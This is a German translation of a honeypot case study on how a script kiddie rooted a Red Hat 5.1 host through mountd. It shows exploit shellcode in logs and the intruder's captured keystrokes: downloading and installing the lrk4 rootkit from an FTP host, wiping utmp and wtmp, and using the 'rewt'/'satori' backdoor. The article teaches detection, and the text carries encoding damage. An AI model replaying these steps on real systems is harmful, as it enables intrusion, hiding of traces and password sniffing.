Apr 14 04:20:51 mozart mountd[6688]: Unauthorized access by NFS client 192.168.11.200. Apr 14 04:20:51 mozart syslogd: Cannot glue message parts together Apr 14 04:20:51 mozart mountd[6688]: Blocked attempt of 192.168.11.200 to mount ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P3�3��^[�~@3�3�~Kڰ^F�~@��u�1��^B�~@~E�ub�b^V<�t^F��t^K���0��~HF���^�^B~ I^F��~IF^D�^F~IF^H�f1���~I��~@~I^F�^Bf~IF^L�*f~IF^N~MF^L~IF^D1�~IF^P�^P~IF^H� f���~@�^A~IF^D�f�^D�~@�^D�L�R1�~IF^D~IF^H�f���~@~Hð?1��~@�?���~@�?���~@�.bin@~ I^F�.sh!@~IF^D1�~HF^G~Iv^H~IF^L�^K~I�~MN^H~MV^L�~@1��^A1��~@�E������Privet ADMcrew~P(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(Apr 14 04:20:51 mozart ^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^ E^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E
| H(- | E | H- | E | H(- | E | H(- | E | H(- | E | H(- | E | H(- | E | H(- | E | H(- | E | H(- | E | H(- | E | H(- | E | H(- |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| H(- | E | H(- |
Wenn so etwas in den Logs auftaucht, hat jemand versucht, in das System einzudringen. Es ist schwierig zu sagen, ob er erfolgreich war. Eine Methode w�re es, nach dem Angriffsversuch nachzusehen, ob von dem Quellsystem eine Verbindung zum eigenen System besteht. Wenn sie sich erfolgreich von au�en einloggen, haben sie Zugriff. Ein anderer Hinweis ist die Existenz von Accounts wie „moof“, „rewt“, „crak0“ oder „w0rm“ in /etc/passwd. Diese Accounts, mit der uid0, werden von einigen der gebr�uchlicheren Tools angelegt. Wenn der B�se erst mal zugriff hat, wird er normalerweise als erstes die Logs s�ubern und das Logging ver�ndern (syslogd), mehr Informationen dazu finden sich im dritten Teil. Von dann an wirst man keine zuverl�ssigen Logs mehr erhalten, da alles kompromittiert ist. Was man als n�chstes tut, ist Gegnstand eines anderen Artikels. Bis dahin empfehle ich die Seite http://www.cert.org/nav/recovering.html zu lesen.
Um mir beim Finden von Anomalien in meinen Logs zu helfen, habe ich folgende Shellskripte (http://www.enteract.com/~lspitz/bash.txt bzw. http://www.enteract.com/~lspitz/ksh.txt) geschrieben, die meine Logfiles scannen. F�r detailliertere Infos zum „greppen“ und Sortieren von Logfiles liest man am besten die Postings von Marcus Ranum hier nach: http://www.nfr.net/firewall-wizards/mail-archive/1997/Sep/0098.html
Schlu�folgerung
Deine Systemlogs verraten Dir ein ganze Menge �ber den Feind. Der erste Schritt mu� jedoch die Sicherstellung der Integrit�t der Logs sein. Eine der besten Methoden dazu ist die Verwendung eines zentralen Remote-Logservers der von allen Systemen Logs empf�ngt und speichert. Einmal abgesichert, kann man Muster in den Logs erkennen. Basierend auf diesen Mustern und Logeintr�gen kann man erkennen wonach der B�se sucht und welche Tools er wahrscheinlich verwendet. Aufbauend auf diesem Wissen kann man seine Systeme besser sch�tzen und sichern.
Den Feind Kennen III
Dies ist der dritte Artikel aus einer Serie, die sich auf das Script Kiddie konzentriert. Der erste Teil besch�ftigt sich damit, wie Script Kiddies Schw�chen suchen, identifizieren und ausnutzen. Der zweite Teil erkl�rt, wie man solche Versuche erkennt, die eingesetzten Tools identifiziert und erkennt, wonach gesucht wird. Dieser Teil, der dritte, konzentriert sich darauf, was passiert, wenn sie erst mal root sind und hier besonders darauf, wie sie ihre Spuren verwischen und was sie als n�chstes tun.
Wer ist das „Script Kiddie“?
ie bereits im ersten Teil erkl�rt, ist das „Script Kiddie“ nicht so sehr eine Person als vielmehr eine Strtegie: die Strategie, nach dem schnellen Erfolg zu suchen. Man sucht nicht nach speziellen Informationen oder greift eine spezielle Firma an, es geht nur darum, so einfach wie m�glich root zu werden. Eindringlinge versuchen das, indem sie sich auf eine kleine Anzahl Schw�chen beschr�nken und dann das ganze Internet danach absuchen. Dies ist nicht zu unersch�tzen, denn fr�her oder sp�ter finden sie jemand verwundbaren.
Wenn sie erstmal ein verwundbares System gefunden haben und root geworden sind, werden normalerweise als erstes die Spuren verwischt. Sie m�chten sichergehen, da� Du nicht wei�t, da� dein System gehackt wurde und da� Du ihre Aktionen nicht sehen oder loggen kanst. Danach benutzten sie dein System oft, um andere Netzwerke zu scannen oder �berwachen dein System im Stillen. Um besser zu verstehen, wie sie dieses bewerkstelligen, folgen wir einfach den Schritten auf einem System das von einem Eindringling mit Hilfe von „Script Kiddie“-Taktiken geknackt wurde. Unser System namens Mozart l�uft unter Red Hat Linux 5.1 und wurde am 27.04.1999 kompromittiert. Es folgen die tats�chlichen Schritte, die der St�renfried gemacht hat, mit den Systemlogs und Tastatureingaben um jeden Schritt nachvollziehen zu k�nnen. Alle Systemlogs wurden auf einem gesch�tzten Syslogserver abgelegt und alle Eingaben wurden mit Hilfe von sniffit (ftp://ftp.technotronic.com/unix/network-sniffers) aufgezeichnet. Mehr Informationen dar�ber, wie die Informationen gesammelt wurden stehen in „Wie baut man einen Honigtopf“ (http://www.enteract.com/~lspitz/honeypot.html). Im folgenden wird der Eindringling immer als „er“ bezeichnet, obwohl wir keine Ahnung �ber das tats�chliche Geschlecht des T�ters haben.
Der Angriff
Am 27.04. um 00:13 Uhr wurde unser Netzwerk von einem System 1Cust174.tnt2.long- branch.nj.da.uu.net auf verschiedene Schw�chen inklusive nmap gescannt. Unser Eindringling hat dabei „L�rm“ gemacht, da jedes unserer Systeme getestet wurde (mehr Informationen �ber das erkennen und analysieren solcher Scans finden sich im zweiten Teil).
Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174 Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174 Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174
Anscheinend hat er etwas gefunden, was ihm gefallen hat, denn er kam am gleichen Tag noch um 06:52 und 16:47 Uhr zur�ck. Er begann mit einem intensiveren Test und konzentrierte sich dabei auf das System Mozart. Er fand eine Schw�che und startete einen erfolgreichen Angriff gegen mountd, eine allgemein bekannte Schwachstelle in Red Hat 5.1. Hier kann man in /var/log/messages sehen, wie der Eindringling root wurde. Das Tool, das er dazu benutzte war wahrscheinlich ADMountd.c /ftp://adm.freelsd.net/pub/ADM) oder etwas �hnliches.
Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client
208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to
mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
Direkt im Anschlu� sehen wir in /var/adm/messages, wie unser Eindringling root wurde, indem er sich per Telnet als User crak0 einloggte und sich dann per su zum User rewt machte. Beide Accounts wurden durch das Angriffsskript angelegt. Jetzt hat er volle Kontrolle �ber das System.
Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM
1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user
crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM
1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt
by crak0(uid=0)
Spuren verwischen
Der Fremde ist jetzt als root im System. Wie wir jetzt sehen werden, ist sein n�chster Schritt sicherzustellen, das er nicht erwischt wird. Als erstes pr�ft er, ob noch andere User angemeldet sind:
[crak0@mozart /tmp]$ w 4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT crak0 ttyp0 1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w
Nachdem er festgestellt hat, da� er allein ist, wird alle seine Taten unsichtbar machen wollen. Das bedeutet normalerweise, das er alle Beweise aus den Logfiles l�scht und Systemdateien wie ps oder netstat durch Trojanische Pferde ersetzt, so da� man ihn im System nicht erkennen kann. Sind die Trojaner erst einmal installiert, hat er die totale Kontrolle �ber das System und Du wirst es sehr wahrscheinlich niemals herausbekommen. Genauso, wie es Skripte zum automatisiertem Hacken gibt, gibt es auch Skripte zum automatischen verstecken von Eindringlingen, oft rootkits genannt. Eines der gebr�uchlicheren ist lrk4 (ftp://ftp.technotronic.com/unix/trojans). Durch das Ausf�hren des Skripts werden eine Reihe kritischer Dateien ersetzt und tarnen den User in wenigen Sekunden. Mehr Informationen �ber rootkits finden sich im Readme von lrk4. Dadurch bekommt man eine bessere Vorstellung wie diese rootkits im allgemeinen funktionieren. Ich w�rde auch empfehlen, hide-and-seek (http://www.enteract.com/~lspitz/hide-n-seek.html) zu lesen, ein Text �ber das Spuren verwischen, geschrieben von den B�sen.
Innerhalb weniger Minuten, nachdem das System kompromittiert war, konnte man beobachten, wie der Eindringling das rootkit herunterlud und mit „make install“ implementierte. Es folgen seine tats�chlichen Tastatureingaben um sich unsichtbar zu machen:
cd /dev/ su rewt mkdir ". " cd ". " ftp technotronic.com anonymous fdfsfdsdfssd@aol.com cd /unix/trojans get lrk4.unshad.tar.gz quit ls tar -zxvf lrk4.unshad.tar.gz mv lrk4 proc mv proc ". " cd ". " ls make install
Beachte, da� er als erstes ein verstecktes Verzeichnis „.“ erzeugt, um darin sein rootkit zu verstecken. Dieses Verzeichnis taucht beim „ls“ Befehl nicht auf und sieht bei einem „ls -la“ wie das lokale Verzeichnis aus. Eine M�glichkeit dieses Verzeichnis zu finden ist das „find“ Kommando (stelle sicher, da� Du der Integrit�t deiner „find“ Datei vertrauen kannst):
mozart #find / -depth -name "*.*" /var/lib/news/.news.daily /var/spool/at/.SEQ /dev/. /. /procps-1.01/proc/.depend /dev/. /. /dev/.
Unser St�renfried mag ja gut im Umgang mit Trojanern sein, aber sein Ansatz um die Logdateien zu s�ubern, war etwas einfacher gestrickt. Anstatt Tools wie zap2 oder clean zu nutzen, kopierte er einfach /dev/null in die Dateien /var/run/utmp und /var/log/utmp und l�schte /var/log/wtmp. Man ahnt, da� etwas faul ist, wenn diese Dateien leer sind oder man den folgenden Fehler bekommt:
[root@mozart sbin]# last -10 last: /var/log/wtmp: No such file or directory Perhaps this file was removed by the operator to prevent logging last
info.
Der n�chste Schritt
Wenn Eindringlinge erst einmal ein System kompromittiert haben, neigen sie dazu, eines von zwei Dingen zu tun. Entweder sie benutzen das System dazu, andere Rechner im Internet zu scannen oder sie machen es sich gem�tlich und sehen zu, was sie �ber Dein System lernen k�nnen, z.B. Accounts oder Passw�rter f�r andere Systeme. Unser Eindringling entschied sich f�r die zweite Variante: zur�cklehnen und sehen, was man lernen kann. Er installierte einen Sniffer, der unseren gesamten Netzwerkverkehr abfing, inklusive der Telnet und ftp Verbindungen zu anderen Systemen. Auf diese Weise konnte er Logins und Passw�rter in Erfahrung bringen. In /var/log/messages sehen wir, wie das System kurz nach dem Einbruch in den „promiscuous mode“ geht:
Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode. Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.
Nachdem er seine Trojaner-Binaries installiert, die Logs ges�ubert und den Sniffer gestartet hatte, trennte der Eindringling die Verbindung. Wir werden ihn jedoch am n�chsten wiederkehren sehen, um herauszufinden, was f�r Verkehr er aufgefangen hatte.
Schadensbegrenzung
Da unser Freund die Verbindung gekappt hatte, bekam ich die M�glichkeit das System zu pr�fen und herauszufinden was genau geschehen war. Ich war sehr daran interessiert herauszufinden, was ver�ndert worden war und wo er die Informationen, die der Sniffer sammelte, ablegte. Zuerst fand ich mit Hilfe von tripwire (ftp://coast.cs.purdue.edu/pub/COAST/Tripwire) schnell heraus, welche Dateien modifiziert waren. Anmerkung: stelle sicher, das tripwire von der sicheren Quelle gestartet wird. Ich lasse gerne eine statisch gelinkte Version von einer Floppy mit Schreibschutz laufen. Tripwire zeigte folgendes:
added: -rw-r--r-- root 5 Apr 27 17:01:16 1999
/usr/sbin/sniff.pid
added: -rw-r--r-- root 272 Apr 27 17:18:09 1999
/usr/sbin/tcp.log
changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998
/usr/bin/killall
changed: -rws--s--x root 116352 Jun 1 20:25:47 1998 /usr/bin/chfn changed: -rws--s--x root 115828 Jun 1 20:25:47 1998 /usr/bin/chsh changed: drwxr-xr-x root 4096 Apr 27 17:01:16 1999 /usr/sbin changed: -rwxr-xr-x root 137820 Jun 5 09:35:06 1998 /usr/sbin/inetd changed: -rwxr-xr-x root 7229 Nov 26 00:02:19 1998
/usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root 170460 Apr 24 00:02:19 1998
/usr/sbin/in.rshd
changed: -rwxr-x--- root 235516 Apr 4 22:11:56 1999
/usr/sbin/syslogd
changed: -rwxr-xr-x root 14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd changed: drwxr-xr-x root 2048 Apr 4 16:52:55 1999 /sbin changed: -rwxr-xr-x root 19840 Jul 9 17:56:10 1998 /sbin/ifconfig changed: -rw-r--r-- root 649 Apr 27 16:59:54 1999 /etc/passwd
Wie man sehen kann wurde eine Vielzahl von Dateien un Binaries modifiziert. Es gab keine neuen Eintr�ge in der /etc/passwd (schlauerweise hatte er den crak0 und rewt Eintrag wieder gel�scht), also mu�te er in einer der modifizierten Binaries eine Hintert�r offen gelassen haben. Au�erdem waren zwei Dateien hinzugef�gt worden, /usr/sbin/sniff.pid und /usr/sbin/tcp.log. Nicht ganz �berraschend war /usr/sbin/sniff.pid die pid des Sniffers und /usr/sbin/tcp.log war die Datei in der er alle gesammelten Informationen ablegt. Ausgehend von /usr/sbin/sniff.pid stellte sich heraus, das rpc.nfsd der Sniffer war. Unser Eindringling hatte einen Sniffer kompiliert, in diesem Fall linsniffer, und rpc.nfsd damit ersetzt. Das stellte sicher, das auch nach einem reboot der Sniffer durch den init-Proze� gestartet wurde. Folgendes best�tigt, das rpc.nfsd der Sniffer ist:
mozart #strings /usr/sbin/rpc.nfsd | tail -15 cant get SOCK_PACKET socket cant get flags cant set promiscuous mode ----- [CAPLEN Exceeded] ----- [Timed Out] ----- [RST] ----- [FIN] %s => %s [%d] sniff.pid eth0 tcp.log cant open log rm %s
Nachdem ich mein System untersucht und verstanden hatte, was vorgegangen war, lie� ich es alleine. Ich war neugierig, was seine n�chsten Schritte sein w�rden. Ich wollte nicht, da� er wu�te, da� ich ihn erwischt hatte, deshalb l�schte ich alle meine Spuren aus /usr/sbin/tcp.log.
Die R�ckkehr des Script Kiddies
Am n�chsten Tag kam unser Freund wieder. Durch loggen seiner Tastatureingaben fand ich schnell die Hintert�r: /bin/login war ein Trojaner. Diese Binary, die f�r Telnetsitzungen verwendet wird, war so konfiguriert, das der Account „rewt“ mit dem Passwort „satori“ root Rechte erhielt. „satori“ ist das Standardpasswort f�r alle Trojaner, die von lrk4 installiert werden, ein sicheres Erkennungszeichen, da� Dein System kompromittiert sein k�nnte.
Der Eindringling pr�fte, ob der Sniffer noch funktionierte. Au�erdem wollte er wissen, ob irgendwelche Accounts seit dem vorherigen Tag abgefangen wurden. Hier seine Eingaben:
Red Hat Linux release 5.1 (Manhattan) Kernel 2.0.35 on an i586
mozart login: rewt Password: [root@mozart /root]# w 4:11pm up 17:39, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT [root@mozart /root]# ps aux USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND bin 250 0.0 1.1 776 352 ? S 03:32 0:00 portmap daemon 228 0.0 1.3 796 416 ? S 03:32 0:00 /usr/sbin/atd root 1 0.0 1.4 792 432 ? S 03:31 0:03 init [3] root 2 0.0 0.0 0 0 ? SW 03:31 0:00 (kflushd) root 3 0.0 0.0 0 0 ? SW< 03:31 0:00 (kswapd) root 4 0.0 0.0 0 0 ? SW 03:31 0:00 (md_thread) root 5 0.0 0.0 0 0 ? SW 03:31 0:00 (md_thread) root 36 0.0 1.1 752 364 ? S 03:32 0:00 /sbin/kerneld root 61 0.0 2.2 1196 688 ? S 03:32 0:00 bash
/etc/rc.d/rc 3
root 208 0.0 0.4 268 152 ? S 03:32 0:00 syslogd root 217 0.0 1.7 928 548 ? S 03:32 0:00 klogd root 239 0.0 1.5 864 488 ? S 03:32 0:00 crond root 261 0.0 2.5 1252 776 ? S 03:32 0:00 /usr/sbin/snmpd
-f
root 273 0.0 0.4 168 140 ? S 03:32 0:00 inetd root 284 0.0 2.0 1000 620 ? S 03:32 0:00 named root 297 0.0 2.2 1192 684 ? S 03:32 0:00 sh
/etc/rc.d/rc3.d/S6
root 306 0.0 1.6 852 504 ? S 03:32 0:00 rpc.mountd root 314 0.0 1.3 876 404 ? S 03:32 0:00 rpc.nfsd root 599 0.4 2.2 1240 696 ? S 21:11 0:00 in.telnetd root 600 1.3 2.5 1184 772 p0 S 21:11 0:00 -bash root 614 0.0 1.2 920 400 p0 R 21:11 0:00 ps aux [root@mozart /root]# cd /usr/sbin [root@mozart sbin]# ls ClockProg innd sendfax SVGATextMode inndstart sendmail accton ipop2d set80 adduser ipop3d setVGAreg am-eject kbdconfig setclock amd klogd setconsole amq logrotate setpalette apmd lpc setup atd lpd showmount atrun lpf sliplogin automount makewhatis smbd bootpd mk-amd-map smbmount bootpef mkdict smbumount bootptest mkpasswd sndconfig callback mouseconfig sniff.pid chat named snmpd chpasswd named-xfer snmptrapd chroot named.reload squid clockprobe named.restart squid.novm create-cracklib-dict ncpserv stm crond ndc stm-menu ctlinnd newusers strfile dbmmanage nmbd swapdev dhcpd ntpdate syslogd dhcrelay ntpq tcp.log dip ntptrace tcpd diplogin ntsysv tcpdchk dump-acct nwbind tcpdmatch dump-utmp nwclient tcpdump edquota nwconn tickadj exportfs nwserv timeconfig faxrunqd pac timed fixmount packer timedc fsinfo pmap_dump tmpwatch fuser pmap_set traceroute gated portmap try-from getVGAreg pppd tunelp getpalette pppstats unstr grabmode pwck useradd groupadd pwconv userdel groupdel pwunconv userhelper groupmod quotastats usermod grpck ramsize usernetctl grpconv rdev uuchk grpunconv rdistd uucico hlfsd readprofile uuconv htdigest repquota uusched htpasswd rhbackup uuxqt httpd rmt vidmode huntd rootflags vipw imapd routed warnquota in.comsat rpc.bootparamd wire-test in.fingerd rpc.mountd wsmbconf in.ftpd rpc.nfsd xferstats in.identd rpc.rquotad xntpd in.nnrpd rpc.rusersd xntpdc in.ntalkd rpc.rwalld ypbind in.rexecd rpc.yppasswdd yppoll in.rlogind rpc.ypxfrd yppush in.rshd rpcinfo ypserv in.talkd rwhod ypset in.telnetd sa zdump in.tftpd safe_finger zic in.timed samba inetd sbpnpprobe [root@mozart sbin]# paste tcp.log 1Cust118.tnt1.long-branch.nj.da.uu.net => mozart [23] #'vt1002!rewt satori last -210110 cd /log ls /cd /var/log ls ----- [Timed Out] router => mozart [23] !"'#o% 38400,38400'VT100root fergit ls cat /etc/hosts ----- [Timed Out] Exiting... [root@mozart sbin]# w 4:11pm up 17:39, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT [root@mozart sbin]# cat /etc/hosts 127.0.0.1 localhost localhost.localdomain 172.20.1.130 mozart mozart 172.20.1.1 router [root@mozart sbin]# uname -a Linux mozart 2.0.35 #1 Tue Jul 14 23:56:39 EDT 1998 i586 unknown [root@mozart sbin]# netstat -r Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt
Iface
172.20.1.0 * 255.255.255.0 U 1500 0 0
eth0
127.0.0.0 * 255.0.0.0 U 3584 0 0
lo
default router 0.0.0.0 UG 1500 0 0
eth0
[root@mozart sbin]# netstat -rs
netstat: illegal option -- s
usage: netstat [-veenNcCF] [<Af>] -r netstat {-V|--version|-h|--
help}
netstat [-vnNcaeo] [<Socket>]
netstat { [-veenNac] -i | [-vnNc] -L | [-cnNe] -M }
-r, --route display routing table
-L, --netlink display netlink kernel messages
-i, --interfaces display interface table
-M, --masquerade display masqueraded connections
-v, --verbose be verbose
-n, --numeric dont resolve names
-e, --extend display other/more informations
-c, --continuous continuous listing
-a, --all, --listening display all
-o, --timers display timers
<Socket>={-t|--tcp} {-u|--udp} {-w|--raw} {-x|--unix} --ax25 --ipx --
netrom
<Af>= -A {inet|ipx|netrom|ddp|ax25},... --inet --ipx --netrom --ddp --ax25
[root@mozart sbin]#ls
ClockProg innd sendfax
SVGATextMode inndstart sendmail
accton ipop2d set80
adduser ipop3d setVGAreg
am-eject kbdconfig setclock
amd klogd setconsole
amq logrotate setpalette
apmd lpc setup
<SCHNIPP, den Rest habe ich gek�rzt JB>
[root@mozart sbin]# rpc.nfsd
��[root@mozart sbin]# ps aux
USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
bin 250 0.0 1.1 776 352 ? S 03:32 0:00 portmap
daemon 228 0.0 1.3 796 416 ? S 03:32 0:00 /usr/sbin/atd
root 1 0.0 1.4 792 432 ? S 03:31 0:03 init [3]
root 2 0.0 0.0 0 0 ? SW 03:31 0:00 (kflushd)
root 3 0.0 0.0 0 0 ? SW< 03:31 0:00 (kswapd)
root 4 0.0 0.0 0 0 ? SW 03:31 0:00 (md_thread)
root 5 0.0 0.0 0 0 ? SW 03:31 0:00 (md_thread)
root 36 0.0 1.1 752 364 ? S 03:32 0:00 /sbin/kerneld
root 61 0.0 2.2 1196 688 ? S 03:32 0:00 bash
/etc/rc.d/rc 3
root 208 0.0 0.4 268 152 ? S 03:32 0:00 syslogd root 217 0.0 1.7 928 548 ? S 03:32 0:00 klogd root 239 0.0 1.5 864 488 ? S 03:32 0:00 crond root 261 0.0 2.5 1252 776 ? S 03:32 0:00 /usr/sbin/snmpd
-f
root 273 0.0 0.4 168 140 ? S 03:32 0:00 inetd root 284 0.0 2.0 1000 620 ? S 03:32 0:00 named root 297 0.0 2.2 1192 684 ? S 03:32 0:00 sh
/etc/rc.d/rc3.d/S6
root 306 0.0 1.6 852 504 ? S 03:32 0:00 rpc.mountd root 314 0.0 1.3 876 404 ? S 03:32 0:00 rpc.nfsd root 599 0.0 2.2 1240 696 ? S 21:11 0:00 in.telnetd root 600 0.1 2.5 1184 772 p0 S 21:11 0:00 -bash root 626 0.0 1.2 920 400 p0 R 21:12 0:00 ps aux [root@mozart sbin]# rm tcp.log rm: remove `tcp.log'? y [root@mozart sbin]# kill -9 314 [root@mozart sbin]# rm rpc.nfsd
Beachte, das er ganz zum Schlu� den Sniffer stoppt. Das war das letzte, was er vor der Beendigung der Sitzung tat. Er kam jedoch schnell zur�ck, nur um den Sniffer neu zu starten. Ich bin mir nicht ganz sicher, warum er das getan hat.
Dieser Vorgang des Systemchecks wiederholte sich f�r einige Tage. Jeden Tag kam der Eindringling zur�ck, um zu pr�fen, ob der Sniffer noch lief und ob er irgendwelche wertvollen Daten gesammelt hatte. Nach dem vierten Tag beschlo� ich, da� es nun genug sei und trennte das System. Ich hatte genug von dem Eindringling gelernt und schien nichts neues mehr lernen zu k�nnen.
Schlu�folgerung
Wir haben hier von Anfang bis Ende gesehen, wie sich ein Eindringling benehmen k�nnte, sobald sie erst mal root sind. Sie fangen oft damit an, zu pr�fen ob irgendjemand auf dem System ist. Wenn sie erst mal wissen, da� sie allein sind, verwischen sie ihre Spuren, indem sie Logfiles s�ubern und wichtige Dateien ver�ndern bzw. modifizieren. Wenn sie erst mal sicher versteckt sind starten sie neue und sch�dlichere Aktivit�ten. Um sich besser gegen diese Bedrohung zu sch�tzen, empfehle ich seine Systeme zu sichern (panzern). Grundlegender Schutz reicht f�r die meisten Script Kiddies da sie nach dem leichten Opfer suchen. Eine Vorstellung davon, wie man sein System sichert (panzert), bekommt man bei http://www.enteract.com/~lspitz/linux.html bzw. http://www.enteract.com/~lspitz/solaris.html. Wenn es zu sp�t ist und Dein System schon kompromittiert wurde, kann man hier nachlesen http://www.cert.org/nav/recovering.html